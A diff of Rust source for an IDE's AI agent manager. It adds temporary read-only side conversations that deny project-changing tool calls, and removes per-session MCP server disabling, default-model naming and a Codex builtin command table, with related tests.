/// choices — and the chosen model's thought levels — applied.
|
||||
fn merged_config(&self, provider: &str, req: &[AgentConfigChoice]) -> Vec<AgentConfigOption> {
|
||||
let catalog = self.shared.paths.catalogs.cached(&self.shared, provider);
|
||||
let mut levels = catalog.thought_levels;
|
||||
let mut config = self.shared.config_for_new_task(catalog.config, provider);
|
||||
for choice in req {
|
||||
if let Some(o) = config.iter_mut().find(|o| o.id == choice.id) {
|
||||
o.current = Some(choice.value.clone());
|
||||
}
|
||||
}
|
||||
if let Some(model) = model_of(&config)
|
||||
&& let Some(levels) = levels.remove(&model)
|
||||
{
|
||||
config.extend(levels.into_iter().map(|mut o| {
|
||||
if let Some(choice) = req.iter().find(|c| c.id == o.id && o.values.iter().any(|v| v.value == c.value)) {
|
||||
o.current = Some(choice.value.clone());
|
||||
}
|
||||
o
|
||||
}));
|
||||
}
|
||||
config
|
||||
}
|
||||
|
||||
/// Creates a temporary side conversation of `source`: an in-memory task that is never
|
||||
/// persisted, whose session starts with its first real message (`prompt` only names
|
||||
/// the title). `source`'s conversation rides along as the context of that message.
|
||||
/// The task is read-only: its settings are pushed to a mode that asks before anything,
|
||||
/// and requests that would change the project are denied regardless. Fails for an
|
||||
/// agent that offers no way to ask.
|
||||
pub async fn create_ephemeral(&self, req: NewAgentTask, source: &str) -> IdeResult<AgentTask> {
|
||||
let spec = self
|
||||
.shared
|
||||
.spec(&req.provider)
|
||||
.ok_or_else(|| IdeError::invalid(format!("unknown agent {}", req.provider)))?;
|
||||
let prompt = clean(req.prompt).ok_or_else(|| IdeError::invalid("describe the topic first"))?;
|
||||
let title = title_of(&prompt);
|
||||
let mut config = self.merged_config(&spec.id, &req.config);
|
||||
config::ask_for_approvals(&mut config);
|
||||
if config::bypass_approvals(&config) {
|
||||
return Err(IdeError::invalid(
|
||||
"this agent has no mode that asks before changing things, so it can't run a side conversation",
|
||||
));
|
||||
}
|
||||
let read_only = !config::bypass_approvals(&config);
|
||||
let context = context_transcript(&self.task(source)?.state.lock().conversation.main.entries);
|
||||
let root = self.shared.paths.project_root.clone();
|
||||
let before = blocking(move || Ok(worktree::snapshot(&root).unwrap_or_default())).await?;
|
||||
let now = now_ms();
|
||||
let mut capabilities = self.shared.probes.lock().get(&spec.id).map(|p| p.capabilities).unwrap_or_default();
|
||||
capabilities.read_only = read_only;
|
||||
let task = AgentTask {
|
||||
project_root: Some(IpcPath(self.shared.paths.project_root.clone())),
|
||||
id: uuid::Uuid::new_v4().simple().to_string(),
|
||||
title,
|
||||
provider: spec.id.clone(),
|
||||
model: model_of(&config),
|
||||
status: AgentStatus::Ready,
|
||||
isolation: Isolation::Local,
|
||||
cwd: IpcPath(self.shared.paths.project_root.clone()),
|
||||
branch: None,
|
||||
base: None,
|
||||
base_commit: None,
|
||||
error: None,
|
||||
created_ms: now,
|
||||
updated_ms: now,
|
||||
commands: self.shared.known_commands(&spec.id),
|
||||
usage: None,
|
||||
queue: Vec::new(),
|
||||
capabilities,
|
||||
resets_ms: None,
|
||||
retry: None,
|
||||
background: Box::default(),
|
||||
mcp_overrides: req.mcp_overrides,
|
||||
config,
|
||||
};
|
||||
let handle = self.register(TaskFile {
|
||||
task: task.clone(),
|
||||
session_id: None,
|
||||
entries: Vec::new(),
|
||||
wanted: req.config,
|
||||
before,
|
||||
saved: None,
|
||||
touched: None,
|
||||
subagents: Vec::new(),
|
||||
pending_rollback: 0,
|
||||
title_renamed: false,
|
||||
});
|
||||
{
|
||||
let mut s = handle.state.lock();
|
||||
s.ephemeral = true;
|
||||
s.ephemeral_context = Some(context);
|
||||
}
|
||||
Ok(task)
|
||||
}
|
||||
|
||||
/// Sends a message. While the agent works it is queued, or with `now` the current turn
|
||||
/// is cancelled and the message goes next.
|
||||
pub async fn prompt(&self, id: &str, prompt: AgentPrompt, now: bool) -> IdeResult<()> {
|
||||
@@ -1049,11 +1141,7 @@ impl AgentManager {
|
||||
.peer
|
||||
.request(
|
||||
"session/fork",
|
||||
{
|
||||
let mut params = session_params(&cwd_s, &mcp_servers);
|
||||
params["sessionId"] = json!(live.session);
|
||||
params
|
||||
},
|
||||
json!({ "sessionId": live.session, "cwd": cwd_s, "mcpServers": mcp_servers }),
|
||||
None,
|
||||
)
|
||||
.await
|
||||
@@ -1324,6 +1412,15 @@ impl AgentManager {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Removes a task from the manager's table and stops its agent. The disk (its file,
|
||||
/// its worktree) is the caller's business.
|
||||
fn drop_in_memory(&self, task: &Arc<Task>) {
|
||||
task.kill();
|
||||
self.tasks.write().remove(&task.id);
|
||||
*task.deleted.lock() = true;
|
||||
let _ = std::fs::remove_file(self.shared.paths.store_dir.join(format!("{}.json", task.id)));
|
||||
}
|
||||
|
||||
/// Returns an archived task to the active list without starting the agent.
|
||||
pub fn unarchive(&self, id: &str) -> IdeResult<()> {
|
||||
let task = self.task(id)?;
|
||||
@@ -1589,6 +1686,8 @@ impl Task {
|
||||
pending_rollback: file.pending_rollback,
|
||||
title_renamed: file.title_renamed,
|
||||
busy: false,
|
||||
ephemeral: false,
|
||||
ephemeral_context: None,
|
||||
background_tasks: Vec::new(),
|
||||
}),
|
||||
live: Mutex::new(None),
|
||||
@@ -1748,6 +1847,9 @@ impl Task {
|
||||
if *deleted {
|
||||
return;
|
||||
}
|
||||
if self.state.lock().ephemeral {
|
||||
return;
|
||||
}
|
||||
let bytes = {
|
||||
let s = self.state.lock();
|
||||
serde_json::to_vec(&TaskFile {
|
||||
@@ -2017,7 +2119,20 @@ impl Task {
|
||||
if !prompt.images.is_empty() && !live.capabilities.images {
|
||||
return Err(Failure::from("This agent can't read images.".to_owned()));
|
||||
}
|
||||
let mut content = self.content(&live, prompt).await;
|
||||
// A temporary side conversation's context rides with its first real message; the
|
||||
// conversation itself records only the question (and whatever comes after).
|
||||
let prompt = {
|
||||
let context = self.state.lock().ephemeral_context.take();
|
||||
match context {
|
||||
Some(context) => {
|
||||
let mut owned = prompt.clone();
|
||||
owned.text = format!("{context}\n\n---\n\n{}", owned.text);
|
||||
owned
|
||||
}
|
||||
None => prompt.clone(),
|
||||
}
|
||||
};
|
||||
let mut content = self.content(&live, &prompt).await;
|
||||
let mut result: Result<Value, RpcError> =
|
||||
live.peer.request("session/prompt", json!({ "sessionId": live.session, "prompt": content }), None).await;
|
||||
if live.driver == provider::Driver::Copilot
|
||||
@@ -2039,7 +2154,7 @@ impl Task {
|
||||
if !prompt.images.is_empty() && !live.capabilities.images {
|
||||
return Err(Failure::from("This agent can't read images.".to_owned()));
|
||||
}
|
||||
content = self.content(&live, prompt).await;
|
||||
content = self.content(&live, &prompt).await;
|
||||
result = live
|
||||
.peer
|
||||
.request("session/prompt", json!({ "sessionId": live.session, "prompt": content }), None)
|
||||
@@ -2199,8 +2314,7 @@ impl Task {
|
||||
let mut session = None;
|
||||
if let (Some(id), true) = (saved, can_load) {
|
||||
self.replaying.store(true, Ordering::Release);
|
||||
let mut params = session_params(&cwd_s, &mcp_servers);
|
||||
params["sessionId"] = json!(&id);
|
||||
let params = json!({ "sessionId": &id, "cwd": &cwd_s, "mcpServers": &mcp_servers });
|
||||
let loaded = self.request_with_auth(&peer, &init, &mut tried_auth, "session/load", params).await;
|
||||
tokio::time::sleep(REPLAY_GRACE).await;
|
||||
self.replaying.store(false, Ordering::Release);
|
||||
@@ -2213,7 +2327,7 @@ impl Task {
|
||||
let (session_id, result) = match session {
|
||||
Some(s) => s,
|
||||
None => {
|
||||
let params = session_params(&cwd_s, &mcp_servers);
|
||||
let params = json!({ "cwd": &cwd_s, "mcpServers": &mcp_servers });
|
||||
let v = self.request_with_auth(&peer, &init, &mut tried_auth, "session/new", params).await.map_err(
|
||||
|e| match self.sign_in_error(&e, Some(&sign_in_message)) {
|
||||
Some(msg) => SessionOpenError { message: msg, allow_acp_fallback: false },
|
||||
@@ -2254,9 +2368,7 @@ impl Task {
|
||||
}
|
||||
let (mut options, mut wanted) = {
|
||||
let s = self.state.lock();
|
||||
let options = if known { reported } else { s.task.config.clone() };
|
||||
let wanted = s.wanted.clone();
|
||||
(options, wanted)
|
||||
(if known { reported } else { s.task.config.clone() }, s.wanted.clone())
|
||||
};
|
||||
config::add_client_options(provider_id, &mut options);
|
||||
// Changing model can replace the effort / context-tier choices; validate those only afterwards.
|
||||
@@ -2446,20 +2558,11 @@ impl Task {
|
||||
if let Some(title) = title {
|
||||
// Check and write under one lock: a rename landing between them would be lost.
|
||||
let mut s = self.state.lock();
|
||||
let user_named = update.get("userNamed").and_then(Value::as_bool) == Some(true);
|
||||
let flag_changed = user_named && !s.title_renamed;
|
||||
if user_named {
|
||||
s.title_renamed = true;
|
||||
}
|
||||
if (user_named || !s.title_renamed) && s.task.title != title {
|
||||
if !s.title_renamed && s.task.title != title {
|
||||
s.task.title = title.to_owned();
|
||||
drop(s);
|
||||
self.persist();
|
||||
self.emit_task();
|
||||
} else if flag_changed {
|
||||
drop(s);
|
||||
self.persist();
|
||||
self.emit_task();
|
||||
}
|
||||
}
|
||||
return;
|
||||
@@ -2564,6 +2667,30 @@ impl Task {
|
||||
.collect()
|
||||
})
|
||||
.unwrap_or_default();
|
||||
// A side conversation is read-only: deny anything that would change the project
|
||||
// (its task is deleted when its pane closes, leaving nothing to review or revert).
|
||||
if self.state.lock().ephemeral
|
||||
&& params
|
||||
.pointer("/toolCall/kind")
|
||||
.or_else(|| params.pointer("/subject/toolCall/kind"))
|
||||
.and_then(Value::as_str)
|
||||
.is_some_and(|kind| matches!(kind, "edit" | "delete" | "move" | "execute"))
|
||||
{
|
||||
let reject = options.iter().find(|o| o.kind.starts_with("reject")).cloned();
|
||||
let _ = self.push_entry(AgentEntry::Permission {
|
||||
id,
|
||||
title,
|
||||
command: None,
|
||||
options,
|
||||
questions: Vec::new(),
|
||||
form: None,
|
||||
chosen: Some("Denied: side conversations are read-only".to_owned()),
|
||||
});
|
||||
return match reject {
|
||||
Some(option) => json!({ "outcome": { "outcome": "selected", "optionId": option.id } }),
|
||||
None => json!({ "outcome": { "outcome": "cancelled" } }),
|
||||
};
|
||||
}
|
||||
let asked: Vec<String> = questions
|
||||
.iter()
|
||||
.map(|question| question.answer_key.clone().unwrap_or_else(|| question.question.clone()))
|
||||
@@ -2785,15 +2912,6 @@ struct Client {
|
||||
|
||||
impl Handler for Client {
|
||||
fn on_notification(&self, method: &str, params: Value) {
|
||||
if method == WARNING_NOTIFICATION {
|
||||
if let Some(task) = self.task.upgrade()
|
||||
&& let Some(message) = params.get("message").and_then(Value::as_str).filter(|s| !s.trim().is_empty())
|
||||
{
|
||||
task.push_entry(AgentEntry::Error { message: message.to_owned() });
|
||||
task.persist();
|
||||
}
|
||||
return;
|
||||
}
|
||||
if method == "session/update"
|
||||
&& let (Some(task), Some(update)) = (self.task.upgrade(), params.get("update"))
|
||||
{
|
||||
@@ -2825,6 +2943,72 @@ fn clean(mut prompt: AgentPrompt) -> Option<AgentPrompt> {
|
||||
(!prompt.text.is_empty() || !prompt.images.is_empty() || !prompt.files.is_empty()).then_some(prompt)
|
||||
}
|
||||
|
||||
/// The character budget of a side conversation's context: the newest entries win, the
|
||||
/// oldest are dropped first. Leaves room for the question and the agent's answer.
|
||||
const CONTEXT_BUDGET: usize = 100_000;
|
||||
|
||||
/// A long tool output trimmed to its first and last few lines, with the elided middle noted.
|
||||
fn trimmed_output(output: &str) -> String {
|
||||
const KEPT: usize = 4;
|
||||
let lines: Vec<&str> = output.lines().collect();
|
||||
if lines.len() <= KEPT * 2 + 1 {
|
||||
return output.to_owned();
|
||||
}
|
||||
let omitted = lines.len() - KEPT * 2;
|
||||
let mut out = lines[..KEPT].join("\n");
|
||||
out.push_str(&format!("\n… {omitted} lines omitted …\n"));
|
||||
out.push_str(&lines[lines.len() - KEPT..].join("\n"));
|
||||
out
|
||||
}
|
||||
|
||||
fn context_entry(e: &AgentEntry) -> Option<String> {
|
||||
match e {
|
||||
AgentEntry::User { text, .. } => Some(format!("User: {text}")),
|
||||
AgentEntry::Agent { text, .. } if !text.trim().is_empty() => Some(format!("Agent: {text}")),
|
||||
AgentEntry::Thought { text, .. } if !text.trim().is_empty() => Some(format!("Thought: {text}")),
|
||||
AgentEntry::Tool { title, output, .. } => match output.as_deref() {
|
||||
Some(output) if !output.trim().is_empty() => Some(format!("Tool: {title}\n{}", trimmed_output(output))),
|
||||
_ => Some(format!("Tool: {title}")),
|
||||
},
|
||||
AgentEntry::Error { message, .. } => Some(format!("Error: {message}")),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// The conversation as the context a temporary side conversation starts with: what was
|
||||
/// said, what was done (tool calls with trimmed output), errors and the agent's reasoning,
|
||||
/// oldest first, within [`CONTEXT_BUDGET`].
|
||||
fn context_transcript(entries: &[AgentEntry]) -> String {
|
||||
// Newest wins: walk back until the budget is spent, dropping the oldest entries first.
|
||||
let mut lines: Vec<String> = Vec::new();
|
||||
let mut used = 0usize;
|
||||
for e in entries.iter().rev() {
|
||||
let Some(line) = context_entry(e) else { continue };
|
||||
if used + line.len() > CONTEXT_BUDGET {
|
||||
if lines.is_empty() {
|
||||
// Even the newest entry alone exceeds the budget: keep its head.
|
||||
lines.push(line.chars().take(CONTEXT_BUDGET).collect());
|
||||
}
|
||||
break;
|
||||
}
|
||||
used += line.len();
|
||||
lines.push(line);
|
||||
}
|
||||
lines.reverse();
|
||||
let dropped = entries.iter().rev().filter_map(context_entry).count() - lines.len();
|
||||
let mut context = String::from(
|
||||
"You are answering a side question in a temporary conversation. The conversation so far is below, \
|
||||
for context only; answer the new question after the marker, and do not continue the main task \
|
||||
unless asked.\n\n<conversation>\n",
|
||||
);
|
||||
if dropped > 0 {
|
||||
context.push_str(&format!("(The {dropped} oldest entries are omitted.)\n\n"));
|
||||
}
|
||||
context.push_str(&lines.join("\n\n"));
|
||||
context.push_str("\n</conversation>");
|
||||
context
|
||||
}
|
||||
|
||||
fn permission_title(params: &Value) -> String {
|
||||
let call = ¶ms["toolCall"];
|
||||
let title = call.get("title").and_then(Value::as_str).filter(|t| !t.is_empty());
|
||||
@@ -3043,6 +3227,7 @@ fn capabilities_of(init: &acp::Negotiated) -> (AgentCapabilities, bool) {
|
||||
rollback: meta("/openidea/rollback"),
|
||||
steer: steer_method(init).is_some(),
|
||||
background_tasks: meta("/openidea/backgroundTasks"),
|
||||
read_only: false,
|
||||
};
|
||||
(capabilities, init.prompt("embeddedContext"))
|
||||
}
|
||||
@@ -3057,23 +3242,6 @@ fn turn_starts(entries: &[AgentEntry]) -> Vec<usize> {
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// The MCP servers of a session, and the names of the ones off for it.
|
||||
struct McpForSession {
|
||||
servers: Vec<Value>,
|
||||
off: Vec<String>,
|
||||
}
|
||||
|
||||
/// The session parameters `session/new`, `session/load` and `session/fork` share: the MCP
|
||||
/// servers, and the ones off for this session, so an agent that also loads its own
|
||||
/// configuration (Claude Code) can keep a same-named server of it off too.
|
||||
fn session_params(cwd: &str, mcp: &McpForSession) -> Value {
|
||||
let mut params = json!({ "cwd": cwd, "mcpServers": mcp.servers });
|
||||
if !mcp.off.is_empty() {
|
||||
params["_meta"] = json!({ "openidea": { "mcpServersOff": mcp.off } });
|
||||
}
|
||||
params
|
||||
}
|
||||
|
||||
fn is_false(b: &bool) -> bool {
|
||||
!*b
|
||||
}
|
||||
@@ -3107,20 +3275,13 @@ fn model_of(config: &[AgentConfigOption]) -> Option<String> {
|
||||
config.iter().find(|o| o.category.as_deref() == Some("model")).and_then(|o| o.current.clone())
|
||||
}
|
||||
|
||||
/// Commands the agent implements on its own and never lists in `availableCommands`.
|
||||
fn builtin_commands(provider: &str) -> Vec<AgentCommand> {
|
||||
/// Commands the agent implements on its own and never lists in `availableCommands` —
|
||||
/// its CLI builtins, passed through as prompt text (e.g. `/compact`). `(name, description)`.
|
||||
fn builtin_commands(provider: &str) -> &'static [(&'static str, &'static str)] {
|
||||
match provider {
|
||||
// Codex app-server has no command-list API, so the native adapter supplies its
|
||||
// stable builtins and merges the session's dynamic skills separately.
|
||||
"codex" => native::codex::builtin_commands(),
|
||||
// OpenCode ACP handles `/compact` via session.summarize but omits it from its command list.
|
||||
"opencode" => vec![AgentCommand {
|
||||
name: "compact".into(),
|
||||
description: "compact the conversation".into(),
|
||||
hint: None,
|
||||
source: AgentCommandSource::Command,
|
||||
}],
|
||||
_ => Vec::new(),
|
||||
"opencode" => &[("compact", "compact the conversation")],
|
||||
_ => &[],
|
||||
}
|
||||
}
|
||||
|
||||
@@ -3182,9 +3343,6 @@ mod replay_tests;
|
||||
#[cfg(test)]
|
||||
mod tests;
|
||||
|
||||
/// The name agents know the built-in server by (its tools are `mcp__OpenIDEA__…` in Claude Code).
|
||||
const BUILTIN_SERVER: &str = "OpenIDEA";
|
||||
|
||||
// The desktop advertises its relay only while the built-in server is listening.
|
||||
static MCP_EXECUTABLE: parking_lot::RwLock<Option<std::path::PathBuf>> = parking_lot::RwLock::new(None);
|
||||
|
||||
@@ -3199,7 +3357,7 @@ fn mcp_servers_for(supported: bool, root: &std::path::Path) -> Vec<Value> {
|
||||
fn stdio_mcp_servers(executable: Option<&std::path::Path>, supported: bool, root: &std::path::Path) -> Vec<Value> {
|
||||
let Some(executable) = executable.filter(|_| supported) else { return Vec::new() };
|
||||
let command = ide_mcp::stdio_command(executable, root);
|
||||
vec![json!({ "name": BUILTIN_SERVER, "command": command[0], "args": command[1..], "env": [] })]
|
||||
vec![json!({ "name": "OpenIDEA", "command": command[0], "args": command[1..], "env": [] })]
|
||||
}
|
||||
|
||||
/// What was sent of a streaming message: its first `bytes` (`utf16` UTF-16 units), which
|
||||
|
||||
@@ -86,29 +86,6 @@ fn matches_agent(agents: &[String], provider: &str) -> bool {
|
||||
})
|
||||
}
|
||||
|
||||
/// The configured servers off for this session: off by default and not switched on for it, or
|
||||
/// switched off for it. Named so an agent that also loads its own configuration can keep a
|
||||
/// same-named server of it off too. Workspace entries take precedence, as in [`acp_mcp_servers`].
|
||||
pub(crate) fn servers_off(all: &[McpServer], overrides: &BTreeMap<String, bool>) -> Vec<String> {
|
||||
let mut seen = HashSet::new();
|
||||
let ordered =
|
||||
all.iter().filter(|s| s.scope == McpScope::Workspace).chain(all.iter().filter(|s| s.scope == McpScope::User));
|
||||
let configured: Vec<String> = ordered
|
||||
.filter(|s| seen.insert(s.name.as_str()))
|
||||
.filter(|s| !overrides.get(&s.name).copied().unwrap_or(s.enabled))
|
||||
.map(|s| s.name.clone())
|
||||
.collect();
|
||||
// A server switched off that the IDE doesn't configure may still be the agent's own.
|
||||
let switched = overrides
|
||||
.iter()
|
||||
.filter(|(name, on)| !**on && name.as_str() != BUILTIN_MCP_NAME && !seen.contains(name.as_str()))
|
||||
.map(|(name, _)| name.clone());
|
||||
let mut off: Vec<String> = configured.into_iter().chain(switched).collect();
|
||||
off.sort();
|
||||
off.dedup();
|
||||
off
|
||||
}
|
||||
|
||||
/// Builds the ACP `mcpServers` array for `session/new`, `session/load`, and `session/fork`.
|
||||
/// Workspace entries take precedence over User entries with the same name. Per-session
|
||||
/// `overrides` (`server_name` -> `enabled`) can enable a disabled server or disable an enabled one
|
||||
@@ -1039,44 +1016,6 @@ fn parse_key_values_map(val: Option<&Value>) -> BTreeMap<String, String> {
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
fn configured(name: &str, scope: McpScope, enabled: bool) -> McpServer {
|
||||
McpServer {
|
||||
id: format!("{scope:?}:{name}"),
|
||||
name: name.into(),
|
||||
scope,
|
||||
transport: McpTransport::Stdio,
|
||||
enabled,
|
||||
command: Some("x".into()),
|
||||
args: Vec::new(),
|
||||
env: Vec::new(),
|
||||
url: None,
|
||||
headers: Vec::new(),
|
||||
agents: Vec::new(),
|
||||
unapproved: false,
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn servers_off_follow_the_effective_state() {
|
||||
let all = [
|
||||
configured("default-off", McpScope::User, false),
|
||||
configured("switched-on", McpScope::User, false),
|
||||
configured("on", McpScope::User, true),
|
||||
configured("switched-off", McpScope::User, true),
|
||||
// The workspace entry decides for its name.
|
||||
configured("both", McpScope::User, true),
|
||||
configured("both", McpScope::Workspace, false),
|
||||
];
|
||||
let overrides = BTreeMap::from([
|
||||
("switched-on".to_owned(), true),
|
||||
("switched-off".to_owned(), false),
|
||||
("agent-own".to_owned(), false),
|
||||
(BUILTIN_MCP_NAME.to_owned(), false),
|
||||
]);
|
||||
assert_eq!(servers_off(&all, &overrides), ["agent-own", "both", "default-off", "switched-off"]);
|
||||
assert_eq!(servers_off(&all[2..4], &BTreeMap::new()), Vec::<String>::new());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn crud_and_acp_filtering_by_scope_agent_and_transport() {
|
||||
let mut user = BTreeMap::new();
|
||||
|
||||
@@ -45,6 +45,9 @@ pub struct AgentCapabilities {
|
||||
pub steer: bool,
|
||||
/// It reports its background tasks and stops them one by one.
|
||||
pub background_tasks: bool,
|
||||
/// The task runs read-only: it asks before anything, and requests that would change
|
||||
/// the project are denied (a temporary side conversation).
|
||||
pub read_only: bool,
|
||||
}
|
||||
|
||||
#[derive(Clone, Copy, Debug, Default, PartialEq, Eq, Serialize, Deserialize, Type)]
|
||||
|
||||
@@ -170,8 +170,6 @@ struct Session {
|
||||
id: String,
|
||||
cwd: PathBuf,
|
||||
mcp_config: Option<tempfile::TempPath>,
|
||||
/// MCP servers switched off for this session (`--disallowedTools`), its own config's too.
|
||||
mcp_off: Vec<String>,
|
||||
shim: Weak<Shim>,
|
||||
st: Mutex<State>,
|
||||
/// Serializes (re)starting the process.
|
||||
@@ -346,10 +344,9 @@ impl Shim {
|
||||
cwd: PathBuf,
|
||||
start: Start,
|
||||
pending: bool,
|
||||
params: &Value,
|
||||
mcp_config: Option<String>,
|
||||
) -> Arc<Session> {
|
||||
let mcp_off = mcp_off(params);
|
||||
let mcp_config = mcp_config(params).and_then(|json| match write_mcp_config(&json) {
|
||||
let mcp_config = mcp_config.and_then(|json| match write_mcp_config(&json) {
|
||||
Ok(path) => Some(path),
|
||||
Err(e) => {
|
||||
tracing::warn!("Claude Code session {id}: cannot write its MCP configuration: {e}");
|
||||
@@ -359,7 +356,6 @@ impl Shim {
|
||||
let session = Arc::new(Session {
|
||||
id: id.to_owned(),
|
||||
mcp_config,
|
||||
mcp_off,
|
||||
shim: Arc::downgrade(self),
|
||||
st: Mutex::new(State {
|
||||
proc: None,
|
||||
@@ -415,8 +411,13 @@ impl Shim {
|
||||
}
|
||||
"session/new" => {
|
||||
let id = new_uuid(false);
|
||||
let session =
|
||||
self.add_session(&id, self.cwd_of(¶ms), Start::New { id: id.clone() }, false, ¶ms);
|
||||
let session = self.add_session(
|
||||
&id,
|
||||
self.cwd_of(¶ms),
|
||||
Start::New { id: id.clone() },
|
||||
false,
|
||||
mcp_config(¶ms),
|
||||
);
|
||||
rt.block_on(session.ensure()).map_err(|e| self.start_error(&session, e))?;
|
||||
session.announce_commands();
|
||||
Ok(json!({ "sessionId": id, "configOptions": session.st.lock().settings.options() }))
|
||||
@@ -432,7 +433,7 @@ impl Shim {
|
||||
None => return Err(invalid(format!("no Claude Code session {id} in {}", cwd.display()))),
|
||||
};
|
||||
let chain = self.base_chain(&cwd, &start).map_err(internal)?;
|
||||
let session = self.add_session(id, cwd, start, pending, ¶ms);
|
||||
let session = self.add_session(id, cwd, start, pending, mcp_config(¶ms));
|
||||
rt.block_on(session.ensure()).map_err(|e| self.start_error(&session, e))?;
|
||||
if method == "session/load" {
|
||||
session.replay(&chain);
|
||||
@@ -458,7 +459,7 @@ impl Shim {
|
||||
(start, st.settings.clone())
|
||||
};
|
||||
self.save_pending(&id, Some(&start));
|
||||
let session = self.add_session(&id, source.cwd.clone(), start, true, ¶ms);
|
||||
let session = self.add_session(&id, source.cwd.clone(), start, true, mcp_config(¶ms));
|
||||
session.st.lock().settings = settings;
|
||||
let options = session.st.lock().settings.options();
|
||||
Ok(json!({ "sessionId": id, "configOptions": options }))
|
||||
@@ -665,9 +666,6 @@ impl Session {
|
||||
if let Some(config) = &self.mcp_config {
|
||||
args.extend(["--mcp-config".to_owned(), config.to_string_lossy().into_owned()]);
|
||||
}
|
||||
if !self.mcp_off.is_empty() {
|
||||
args.extend(["--disallowedTools".to_owned(), self.mcp_off.join(",")]);
|
||||
}
|
||||
args.extend(start.args());
|
||||
let launch =
|
||||
Launch { program: shim.config.program.clone(), args, cwd: self.cwd.clone(), env: shim.config.env.clone() };
|
||||
@@ -1499,24 +1497,6 @@ fn write_mcp_config(json: &str) -> std::io::Result<tempfile::TempPath> {
|
||||
Ok(file.into_temp_path())
|
||||
}
|
||||
|
||||
/// The servers switched off for the session (`_meta.openidea.mcpServersOff`) as Claude Code
|
||||
/// permission rules that deny all of a server's tools (`mcp__<server>`), so a server of
|
||||
/// Claude Code's own configuration stays off too.
|
||||
fn mcp_off(params: &Value) -> Vec<String> {
|
||||
params
|
||||
.pointer("/_meta/openidea/mcpServersOff")
|
||||
.and_then(Value::as_array)
|
||||
.into_iter()
|
||||
.flatten()
|
||||
.filter_map(Value::as_str)
|
||||
.map(|name| {
|
||||
let name: String =
|
||||
name.chars().map(|c| if c.is_ascii_alphanumeric() || c == '_' || c == '-' { c } else { '_' }).collect();
|
||||
format!("mcp__{name}")
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// ACP `mcpServers` as Claude Code's `--mcp-config` JSON (`None` when there are none).
|
||||
fn mcp_config(params: &Value) -> Option<String> {
|
||||
let servers = params.get("mcpServers")?.as_array()?;
|
||||
|
||||
@@ -48,17 +48,10 @@ impl Settings {
|
||||
.filter_map(|m| {
|
||||
let s = |k: &str| m.get(k).and_then(Value::as_str).map(str::to_owned);
|
||||
let value = s("value")?;
|
||||
let resolved = s("resolvedModel");
|
||||
// The default entry follows the account's default model, so "Default
|
||||
// (recommended)" hides what actually runs: name the model it resolves to.
|
||||
let name = match (value.as_str(), resolved.as_deref()) {
|
||||
("default", Some(r)) if !r.is_empty() => format!("Default ({r})"),
|
||||
_ => s("displayName").unwrap_or_else(|| value.clone()),
|
||||
};
|
||||
Some(Model {
|
||||
name,
|
||||
name: s("displayName").unwrap_or_else(|| value.clone()),
|
||||
description: s("description"),
|
||||
resolved,
|
||||
resolved: s("resolvedModel"),
|
||||
efforts: if m.get("supportsEffort").and_then(Value::as_bool) == Some(true) {
|
||||
m.get("supportedEffortLevels")
|
||||
.and_then(Value::as_array)
|
||||
@@ -237,19 +230,6 @@ mod tests {
|
||||
assert_eq!(s.model, "claude-x-1");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_default_entry_is_named_by_the_model_it_runs() {
|
||||
let s = Settings::from_cli(&init(), &json!({"applied": {"model": "claude-sonnet-5-5"}}));
|
||||
let names: Vec<_> = s.models.iter().map(|m| m.name.as_str()).collect();
|
||||
assert_eq!(names, ["Default (claude-sonnet-5-5)", "Opus", "Haiku 4.5"]);
|
||||
// Without a resolved model, the agent's own name stands.
|
||||
let s = Settings::from_cli(
|
||||
&json!({"models": [{"value": "default", "displayName": "Default (recommended)"}]}),
|
||||
&json!({}),
|
||||
);
|
||||
assert_eq!(s.models[0].name, "Default (recommended)");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn options_follow_the_model() {
|
||||
let mut s = Settings::from_cli(&init(), &json!({"applied": {"model": "claude-sonnet-5-5", "effort": "high"}}));
|
||||
|
||||
@@ -1243,13 +1243,6 @@ async fn skipped_questions_have_no_answers() {
|
||||
assert_eq!(cancelled, None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn servers_switched_off_become_disallowed_tools() {
|
||||
assert!(mcp_off(&json!({})).is_empty());
|
||||
let off = mcp_off(&json!({ "_meta": { "openidea": { "mcpServersOff": ["github", "my server.v2"] } } }));
|
||||
assert_eq!(off, ["mcp__github", "mcp__my_server_v2"]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn mcp_servers_become_an_mcp_config() {
|
||||
assert_eq!(mcp_config(&json!({ "mcpServers": [] })), None);
|
||||
|
||||
@@ -1,155 +0,0 @@
|
||||
//! Codex's built-in slash commands. `codex app-server` has no command-list API, so the
|
||||
//! native adapter owns this stable compatibility table; skills stay dynamic via `skills/list`.
|
||||
|
||||
use serde_json::Value;
|
||||
|
||||
/// Menu metadata shared by agent_commands and the prompt dispatcher.
|
||||
pub(crate) struct BuiltinCommandSpec {
|
||||
pub name: &'static str,
|
||||
pub description: &'static str,
|
||||
pub hint: Option<&'static str>,
|
||||
}
|
||||
|
||||
pub(crate) const BUILTIN_COMMANDS: &[BuiltinCommandSpec] = &[
|
||||
BuiltinCommandSpec { name: "plan", description: "Turn plan mode on or off.", hint: None },
|
||||
BuiltinCommandSpec {
|
||||
name: "mcp",
|
||||
description: "Show the status of the MCP servers, or reconnect them.",
|
||||
hint: Some("[reconnect]"),
|
||||
},
|
||||
BuiltinCommandSpec { name: "skills", description: "List available skills.", hint: None },
|
||||
BuiltinCommandSpec { name: "status", description: "Display session configuration and token usage.", hint: None },
|
||||
BuiltinCommandSpec {
|
||||
name: "review",
|
||||
description: "Review uncommitted changes, or review with custom instructions.",
|
||||
hint: Some("optional review instructions"),
|
||||
},
|
||||
BuiltinCommandSpec {
|
||||
name: "review-branch",
|
||||
description: "Review changes relative to a base branch.",
|
||||
hint: Some("branch name"),
|
||||
},
|
||||
BuiltinCommandSpec { name: "review-commit", description: "Review a specific commit.", hint: Some("commit sha") },
|
||||
BuiltinCommandSpec {
|
||||
name: "compact",
|
||||
description: "Summarize conversation to avoid hitting the context limit.",
|
||||
hint: None,
|
||||
},
|
||||
BuiltinCommandSpec {
|
||||
name: "goal",
|
||||
